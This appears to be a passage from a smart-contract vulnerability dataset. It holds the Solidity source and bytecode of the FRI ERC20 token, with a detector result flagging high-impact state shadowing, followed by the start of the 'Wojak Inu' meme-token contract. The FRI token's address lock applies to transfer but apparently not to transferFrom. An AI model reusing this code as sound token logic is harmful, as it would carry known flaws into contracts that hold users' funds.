emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract LockAddress is StandardToken, Ownable {
mapping (address => bool) public locks;
function addLock(address _wallet, bool _isLock) public onlyOwner {
require(_wallet != address(0));
require(true != locks[_wallet] );
locks[_wallet] = _isLock;
}
function removeLock(address _wallet) public onlyOwner {
require(_wallet != address(0));
require(false != locks[_wallet] );
delete locks[_wallet];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(false == locks[_to] );
require(false == locks[msg.sender] );
return super.transfer(_to, _value);
}
}
// File: contracts/token/Token.sol
contract Token is DetailedERC20, PausableToken, StandardBurnableToken, LockAddress {
string public constant name = "Food Research Institute for Mankind";
string public constant symbol = "FRI";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 2000000000 * (10 ** uint256(decimals));
//constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply)
constructor()
DetailedERC20(name, symbol, decimals)
public {
totalSupply_ = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
emit Transfer(address(0), owner, totalSupply_);
}
} | 0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610138578063095ea7b3146101c857806318160ddd1461022d57806323b872dd146102585780632ff2e9dc146102dd578063313ce567146103085780633f4ba83a1461033957806342966c68146103505780634a387bef1461037d5780635c975abb146103c05780635de9a137146103ef578063661884631461044a57806370a08231146104af578063715018a61461050657806379cc67901461051d5780638456cb591461056a5780638da5cb5b1461058157806395d89b41146105d8578063a9059cbb14610668578063d73dd623146106cd578063d83671b714610732578063dd62ed3e14610781578063f2fde38b146107f8575b600080fd5b34801561014457600080fd5b5061014d61083b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061089b565b604051808215151515815260200191505060405180910390f35b34801561023957600080fd5b506102426108cb565b6040518082815260200191505060405180910390f35b34801561026457600080fd5b506102c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108d5565b604051808215151515815260200191505060405180910390f35b3480156102e957600080fd5b506102f2610907565b6040518082815260200191505060405180910390f35b34801561031457600080fd5b5061031d610918565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034557600080fd5b5061034e61091d565b005b34801561035c57600080fd5b5061037b600480360381019080803590602001909291905050506109dd565b005b34801561038957600080fd5b506103be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ea565b005b3480156103cc57600080fd5b506103d5610b34565b604051808215151515815260200191505060405180910390f35b3480156103fb57600080fd5b50610430600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b47565b604051808215151515815260200191505060405180910390f35b34801561045657600080fd5b50610495600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b67565b604051808215151515815260200191505060405180910390f35b3480156104bb57600080fd5b506104f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b97565b6040518082815260200191505060405180910390f35b34801561051257600080fd5b5061051b610be0565b005b34801561052957600080fd5b50610568600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce5565b005b34801561057657600080fd5b5061057f610e8d565b005b34801561058d57600080fd5b50610596610f4e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105e457600080fd5b506105ed610f74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062d578082015181840152602081019050610612565b50505050905090810190601f16801561065a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561067457600080fd5b506106b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fad565b604051808215151515815260200191505060405180910390f35b3480156106d957600080fd5b50610718600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061107f565b604051808215151515815260200191505060405180910390f35b34801561073e57600080fd5b5061077f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110af565b005b34801561078d57600080fd5b506107e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611202565b6040518082815260200191505060405180910390f35b34801561080457600080fd5b50610839600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611289565b005b606060405190810160405280602381526020017f466f6f6420526573656172636820496e7374697475746520666f72204d616e6b81526020017f696e64000000000000000000000000000000000000000000000000000000000081525081565b6000600660149054906101000a900460ff161515156108b957600080fd5b6108c383836112f1565b905092915050565b6000600454905090565b6000600660149054906101000a900460ff161515156108f357600080fd5b6108fe8484846113e3565b90509392505050565b601260ff16600a0a63773594000281565b601281565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097957600080fd5b600660149054906101000a900460ff16151561099457600080fd5b6000600660146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6109e733826117a3565b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a8257600080fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156000151514151515610ae257600080fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b600660149054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600660149054906101000a900460ff16151515610b8557600080fd5b610b8f8383611959565b905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3c57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610d7057600080fd5b610dff81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611beb90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8982826117a3565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ee957600080fd5b600660149054906101000a900460ff16151515610f0557600080fd5b6001600660146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f465249000000000000000000000000000000000000000000000000000000000081525081565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156000151514151561100e57600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156000151514151561106d57600080fd5b6110778383611c04565b905092915050565b6000600660149054906101000a900460ff1615151561109d57600080fd5b6110a78383611c34565b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561114757600080fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151560011515141515156111a757600080fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e557600080fd5b6112ee81611e30565b50565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561143357600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fa57600080fd5b61154c82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611beb90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e182600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2c90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116b382600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611beb90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156117f157600080fd5b61184381600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611beb90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189b81600454611beb90919063ffffffff16565b6004819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515611a6b576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aff565b611a7e8382611beb90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000828211151515611bf957fe5b818303905092915050565b6000600660149054906101000a900460ff16151515611c2257600080fd5b611c2c8383611f48565b905092915050565b6000611cc582600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e6c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008183019050828110151515611f3f57fe5b80905092915050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611f9857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611fd457600080fd5b61202682600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611beb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120bb82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2c90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058200a3a9549f4c7bf00eb42e8c4a13036e85a6e372f9a50395eb3e848f8329088dd0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 859 |
0xabfab3b16f5ab42156fbf650e9b4511941e9064f | // SPDX-License-Identifier: Unlicensed
/*
Wojak Inu
Can INU change your life? Wojak has the answer.
Wojak Inu is the variation of the original meme Wojak. The original Wojak is usually used as the symbol of sadness, melancholy, regret and loneliness. However, the Wojak Inu depicts the most updated and totally new sides of the supposedly sad Wojak. It presents a new version of Wojak with a big smiley face after gaining the icon of cryptocurrency - the cute INU as his life companion.
What makes the pessimistic Wojak transformed into this optimistics Wojak? It is all because of the SHIBA INU he purchased back then! As many of you may have noticed, the lives of many people have changed because of SHIBA INU and Wojak is one of them.
If you wish to share the happiness of Wojak, join us!
https://wojakinu.club
https://t.me/wojakinuportal
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WOJAK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Wojak Inu";
string private constant _symbol = "WOJAK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x191193960FE900BD33818632ea428BC27823B924);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1e7 * 10**9;
uint256 public _maxWalletSize = 2e7 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
